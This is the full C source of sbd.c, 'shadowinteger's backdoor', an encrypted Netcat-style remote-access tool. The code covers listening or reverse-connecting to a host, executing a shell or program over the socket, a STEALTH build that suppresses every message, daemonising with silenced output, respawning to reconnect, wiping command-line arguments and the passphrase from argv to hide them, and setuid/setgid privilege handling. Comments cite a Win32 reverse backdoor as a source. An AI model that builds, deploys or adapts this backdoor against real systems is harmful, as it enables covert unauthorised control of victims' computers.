/*
* sbd - shadowinteger's backdoor - $Revision: 1.37 $
* Copyright (C) 2004 Michel Blomgren <michel.blomgren@tigerteam.se>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the Free
* Software Foundation; either version 2 of the License, or (at your option)
* any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc., 59
* Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
* See the COPYING file for more information.
*
******************************************************************************
*
* sbd's AES-CBC-128 + HMAC-SHA1 implementation is Copyright (C) Christophe
* Devine <devine@cr0.net> and is distributed under the GNU General Public
* License (GPL).
*
******************************************************************************
*
* Some code has been derived from doexec.c from the Win32 port of Netcat (C)
* Weld Pond and *hobbit*. Parts of doexec.c is Copyright (C) 1994 Nathaniel
* W. Mishkin (doexec.c code was originally derived from rlogind.exe). This
* code has been slightly modified for sbd by Michel Blomgren, and is called
* doexec_win32.h. doexec_unix.h is completely (C) Michel Blomgren.
*
* The original version of Netcat was written by *hobbit* <hobbit@avian.org>
* The NT version was done by Weld Pond <weld@l0pht.com>
*
*/
#if defined WIN32 && defined WINMAIN
/* show some warnings during compilation */
#warning "compiling without console support!"
#warning "usage without -q or -e cmd will result in displaying popup boxes for incoming data ;)"
#endif
#if defined WIN32 && defined WINMAIN && defined STEALTH
/* nop */
#else
static unsigned char rcsid[] =
"$Id: sbd.c,v 1.37 2005/08/21 22:40:47 shadow Exp $";
#endif
/* edit sbd.h to hardcode listen/connect behaviour into sbd */
#include "sbd.h"
#ifdef WIN32
#define __USE_WIN32_SOCKETS
#include <stdio.h>
#include <fcntl.h>
#include <io.h>
#include <conio.h>
#include <winsock.h>
#include <getopt.h>
#include <windows.h>
#else
/* else, assume Unix-like (Linux, *BSD, Solaris, etc.) */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <errno.h>
extern int errno;
extern int h_errno;
#endif
#if defined WIN32 && defined WINMAIN
#define MAX_NUM_ARGVS 128
int argc;
char *argv[MAX_NUM_ARGVS];
#endif
extern char *optarg;
extern int optind, opterr, optopt;
/******** definitions ********/
#ifndef INADDR_NONE
#define INADDR_NONE 0xffffffff
#endif
/******** global variables ********/
#ifdef WIN32
#define AUTO_CMD 1
#endif
#ifndef HOST
#define HOST NULL
#endif
#ifndef BINDHOST
#define BINDHOST NULL
#endif
#ifndef PORT
#define PORT 0
#endif
#ifndef SOURCE_PORT
#define SOURCE_PORT 0
#endif
#ifndef DOLISTEN
#define DOLISTEN 0
#endif
#ifndef EXECPROG
#define EXECPROG NULL
#endif
#ifndef CONVERT_TO_CRLF
#define CONVERT_TO_CRLF 0
#endif
#ifndef ENCRYPTION
#define ENCRYPTION 1
#endif
#ifndef SHARED_SECRET
#define SHARED_SECRET "roses are red, violets are blue."
#endif
#ifndef RESPAWN_ENABLED
#define RESPAWN_ENABLED 0
#endif
#ifndef RESPAWN_INTERVAL
#define RESPAWN_INTERVAL 0
#endif
#ifndef QUIET
#define QUIET 0
#endif
#ifndef VERBOSE
#define VERBOSE 0
#endif
#ifndef USE_DNS
#define USE_DNS 1
#endif
#ifndef SNOOPING
#define SNOOPING 0
#endif
#ifndef DAEMONIZE
#define DAEMONIZE 0
#endif
#ifndef IMMOBILITY_TIMEOUT
#define IMMOBILITY_TIMEOUT 0
#endif
#ifndef HIGHLIGHT_INPUT
#define HIGHLIGHT_INCOMING 0
#endif
#ifndef HIGHLIGHT_PREFIX
#define HIGHLIGHT_PREFIX "\x1b[0;32m"
#endif
#ifndef HIGHLIGHT_SUFFIX
#define HIGHLIGHT_SUFFIX "\x1b[0m"
#endif
#ifndef SEPARATOR_BETWEEN_PREFIX_AND_DATA
#define SEPARATOR_BETWEEN_PREFIX_AND_DATA ": "
#endif
char *host = HOST;
char *bind_to_address = BINDHOST;
int port = PORT;
int sport = SOURCE_PORT;
int do_listen = DOLISTEN;
char *program_to_execute = EXECPROG;
int convert_to_crlf = CONVERT_TO_CRLF;
int use_encryption = ENCRYPTION;
char *aes_secret = SHARED_SECRET;
int respawn_enabled = RESPAWN_ENABLED;
int respawn_interval = RESPAWN_INTERVAL;
int quiet = QUIET;
int verbose = VERBOSE;
int use_dns = USE_DNS;
int snooping = SNOOPING;
int daemonize = DAEMONIZE;
int highlight_incoming = HIGHLIGHT_INCOMING;
char highlight_prefix[] = HIGHLIGHT_PREFIX;
char highlight_suffix[] = HIGHLIGHT_SUFFIX;
char *prefix_outgoing_with = NULL;
char separator_between_prefix_and_data[] = SEPARATOR_BETWEEN_PREFIX_AND_DATA;
#ifdef WIN32
#ifndef RUN_ONLY_ONE_INSTANCE
#define RUN_ONLY_ONE_INSTANCE 0
#endif
#ifndef INSTANCE_SEMAPHORE
#define INSTANCE_SEMAPHORE "shadowinteger_bd_semaphore"
#endif
int only_one_instance = RUN_ONLY_ONE_INSTANCE;
char sbd_semaphore[] = INSTANCE_SEMAPHORE;
HANDLE sbd_semhandle;
#endif
#ifndef WIN32
int immobility_timeout = IMMOBILITY_TIMEOUT;
int invokeshell = 0;
#endif
/******** functions ********/
#ifdef WIN32
extern BOOL doexec(SOCKET ClientSocket);
#else
extern int doexec(int sockfd);
#endif
#include "pel.h"
#include "misc.h"
#include "readwrite.h"
#if defined WIN32 && defined WINMAIN
/* Are we running winnt? */
BOOL IsWinNT() {
OSVERSIONINFO osv;
osv.dwOSVersionInfoSize = sizeof(osv);
GetVersionEx(&osv);
return (osv.dwPlatformId == VER_PLATFORM_WIN32_NT);
}
#endif
/* socket_code.h contain sbd_listen() and sbd_connect() */
#include "socket_code.h"
#ifdef WIN32
void sbd_release_semaphore(void) {
ReleaseSemaphore(sbd_semhandle, 1, NULL);
CloseHandle(sbd_semhandle);
}
#endif
/******** main() ********/
#if defined WIN32 && defined WINMAIN
int PASCAL WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow) {
#else
int main(int argc, char **argv) {
#endif
int i;
int used_p = 0;
/* code starts */
#if defined WIN32 && defined WINMAIN
/* parse the command line */
ParseCommandLine(lpCmd);
#endif
while ((i = getopt(argc, argv, "hlp:a:e:r:c:k:qvnmsw:P:H:VD:X:1:")) != -1) {
switch(i) {
case 'l':
do_listen = 1;
break;
case 'p':
used_p = 1;
port = atoi(optarg);
if ((port < 1) || (port > 65535)) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "port must be within 1-65535\n");
#else
#ifndef STEALTH
if (!quiet)
errbox("port must be within 1-65535");
#endif
#endif
return 1;
}
break;
case 'a':
bind_to_address = strdup(optarg);
break;
case 'e':
program_to_execute = strdup(optarg);
if (!program_to_execute) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "strdup(): %s\n", strerror(errno));
#else
#ifndef STEALTH
if (!quiet)
errbox("strdup() failed!");
#endif
#endif
return 1;
}
memset(optarg, 0x20, strlen(optarg));
break;
case 'r':
respawn_interval = atoi(optarg);
respawn_enabled = 1;
break;
case 'c':
if (!strcasecmp(optarg, "on")) {
use_encryption = 1;
} else if (!strcasecmp(optarg, "off")) {
use_encryption = 0;
} else {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "-c can only be \"on\" or \"off\"\n");
#else
#ifndef STEALTH
if (!quiet)
errbox("-c can only be \"on\" or \"off\"");
#endif
#endif
return 1;
}
break;
case 'k':
aes_secret = strdup(optarg);
/* swab out the passphrase from argv (tested under glibc
2.2.5, and NetBSD libc.so.12)
*/
memset(optarg, 0x20, strlen(optarg));
break;
case 'q':
if (quiet) {
quiet = 0;
} else {
quiet = 1;
}
break;
case 'v':
verbose++;
break;
case 'n':
if (use_dns) {
use_dns = 0;
} else {
use_dns = 1;
}
break;
case 'm':
if (snooping) {
snooping = 0;
} else {
snooping = 1;
}
break;
#ifndef WIN32
case 's':
if (invokeshell) {
invokeshell = 0;
} else {
invokeshell = 1;
}
break;
case 'w':
immobility_timeout = atoi(optarg);
break;
#endif
case 'P':
prefix_outgoing_with = strdup(optarg);
memset(optarg, 0x20, strlen(optarg));
break;
case 'H':
if (!strcasecmp(optarg, "on")) {
highlight_incoming = 1;
} else if (!strcasecmp(optarg, "off")) {
highlight_incoming = 0;
} else {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "-H can only be \"on\" or \"off\"\n");
#else
#ifndef STEALTH
if (!quiet)
errbox("-H can only be \"on\" or \"off\"");
#endif
#endif
return 1;
}
break;
case 'V':
#ifndef WINMAIN
print_version();
#else
#ifndef STEALTH
verbox();
#endif
#endif
return 2;
case 'D':
if (!strcasecmp(optarg, "on")) {
daemonize = 1;
} else if (!strcasecmp(optarg, "off")) {
daemonize = 0;
} else {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "-D can only be \"on\" or \"off\"\n");
#else
#ifndef STEALTH
if (!quiet)
errbox("-D can only be \"on\" or \"off\"");
#endif
#endif
return 1;
}
break;
#ifdef WIN32
/* windows options */
case 'X':
if (!strcasecmp(optarg, "on")) {
convert_to_crlf = 1;
} else if (!strcasecmp(optarg, "off")) {
convert_to_crlf = 0;
} else {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "-X can only be \"on\" or \"off\"\n");
#else
#ifndef STEALTH
if (!quiet)
errbox("-X can only be \"on\" or \"off\"");
#endif
#endif
return 1;
}
break;
case '1':
if (!strcasecmp(optarg, "on")) {
only_one_instance = 1;
} else if (!strcasecmp(optarg, "off")) {
only_one_instance = 0;
} else {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "-1 can only be \"on\" or \"off\"\n");
#else
#ifndef STEALTH
if (!quiet)
errbox("-1 can only be \"on\" or \"off\"");
#endif
#endif
return 1;
}
break;
#else
/* unix options */
case 'X':
case '1':
if (!quiet)
fprintf(stderr, "-%c is only implemented on Win32\n", i);
return 1;
#endif
/* back to win32 _and_ unix options */
case '?':
#ifdef WINMAIN
#ifndef STEALTH
errbox("syntax error (-h for help)");
#endif
#endif
return 1;
default:
#ifndef WINMAIN
usage();
#else
#ifndef STEALTH
message_box_usage();
#endif
#endif
return 1;
}
}
/* quiet means _quiet!_ */
if (quiet) {
verbose = 0;
} else {
/* turn on snooping if -vv (-v -v) was specified */
if (verbose > 1) {
snooping = 1;
}
}
#ifdef WIN32
if (only_one_instance) {
sbd_semhandle = CreateSemaphore(NULL, 1, 1, sbd_semaphore);
if (WaitForSingleObject(sbd_semhandle, 0) == WAIT_TIMEOUT) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "sbd is already running, use -1off to override!\n");
#else
#ifndef STEALTH
if (!quiet)
infobox("sbd is already running, use -1off to override!");
#endif
#endif
CloseHandle(sbd_semhandle);
return 1;
}
atexit(sbd_release_semaphore);
}
#ifndef WINMAIN
if (daemonize) {
/* daemonize means we wanna be quiet aswell */
quiet = 1;
verbose = 0;
FreeConsole();
}
#else
/* we turn on quiet mode if -Don has been specified when we're running
* as a WinMain app!
*/
if (daemonize) {
quiet = 1;
verbose = 0;
}
#endif
#else
/* for unix-like OSes... */
/* if the setuid and/or setgid bit is set on sbd, set effective uid and/or gid */
if (getuid() != geteuid()) {
if (setuid(geteuid())) {
fprintf(stderr, "setuid(geteuid()): %s\n", strerror(errno));
}
}
if (getuid() == 0) { /* if we're already root, set gid == 0 */
if (setgid(0)) {
fprintf(stderr, "setgid(0): %s\n", strerror(errno));
}
} else {
if (getgid() != geteuid()) {
if (setgid(getegid())) {
fprintf(stderr, "setgid(getegid()): %s\n", strerror(errno));
}
}
}
if (invokeshell) { /* if invokeshell is set, we only invoke a shell (/bin/sh) */
fprintf(stderr, "invoking shell\n");
fflush(stderr);
execlp("/bin/sh", "sh", (char *)NULL);
fprintf(stderr, "execlp() failed: %s\n", strerror(errno));
return 1;
}
/* we fork() right here, if that's what we want to do */
if (daemonize) {
int pid;
int nullfd;
/* daemonize means we wanna be quiet aswell */
quiet = 1;
verbose = 0;
pid = fork();
if (pid > 0) {
/* the parent exits */
return 0;
} else if (pid < 0) {
perror("fork()");
return 1;
}
/* the child continues... */
/* redirect stdin, stdout and stderr to /dev/null */
if ((nullfd = open("/dev/null", O_RDWR)) >= 0) {
dup2(nullfd, STDIN_FILENO);
close(nullfd);
dup2(STDIN_FILENO, STDOUT_FILENO);
dup2(STDIN_FILENO, STDERR_FILENO);
}
}
#endif
#if defined WIN32 && defined WINMAIN
/* remove the hour glass */
/* IsWinNT() and code below derived from "The Insider":
* The Insider V1.0 -- Win32 reverse backdoor
* nick102799@hotmail.com , Jul 21 2003
*/
/* Get rid of the startup hourglass XXXXXXXXXXX win 9x ????? */
if (IsWinNT()) {
int c;
MSG msg;
while (1) {
c = PostThreadMessage(GetCurrentThreadId(), WM_NULL, 0, 0);
if (c != 0) {
GetMessage(&msg, NULL, 0, 0);
break;
}
Sleep(100);
}
}
#endif
if (do_listen) {
/* see if we're gonna listen() */
if (!port) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "you must specify a port to listen to with -p port\n");
#else
#ifndef STEALTH
if (!quiet)
errbox("you must specify a port to listen to with -p port");
#endif
#endif
return 1;
}
if (respawn_enabled) {
while (1) {
if (sbd_listen(port, bind_to_address) == 1) {
return 1;
}
#ifndef WINMAIN
if (verbose && (respawn_interval > 1)) {
fprintf(stderr, "sleeping for %u seconds until re-listening\n", respawn_interval);
}
#endif
#ifdef WIN32
Sleep(respawn_interval * 1000);
#else
sleep(respawn_interval);
#endif
}
} else {
sbd_listen(port, bind_to_address);
}
} else {
/* else we connect() */
/* if -p was used with connect, we use -p port as our source port */
if (used_p) {
sport = port;
}
if (optind < argc) {
host = strdup(argv[optind]);
memset(argv[optind], 0x20, strlen(argv[optind]));
optind++;
if (optind < argc) {
port = atoi(argv[optind]);
memset(argv[optind], 0x20, strlen(argv[optind]));
}
}
if (!host) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "no host to connect to (-h for help)\n");
#else
#ifndef STEALTH
if (!quiet)
errbox("no host to connect to (-h for help)");
#endif
#endif
return 1;
}
if (!port) {
#ifndef WINMAIN
if (!quiet)
fprintf(stderr, "no port to connect to (-h for help)\n");
#else
#ifndef STEALTH
if (!quiet)
errbox("no port to connect to (-h for help)");
#endif
#endif
return 1;
}
if (respawn_enabled) {
if (respawn_interval < 1)
respawn_interval = 1;
while (1) {
if (sbd_connect(host, port, sport, bind_to_address) == 1) {
return 1;
}
#ifndef WINMAIN
if (verbose && (respawn_interval > 1)) {
fprintf(stderr, "sleeping for %u seconds until reconnecting\n", respawn_interval);
}
#endif
#ifdef WIN32
Sleep(respawn_interval * 1000);
#else
sleep(respawn_interval);
#endif
}
} else {
sbd_connect(host, port, sport, bind_to_address);
}
}
return 0;
}
syntax highlighted by Code2HTML, v. 0.9.1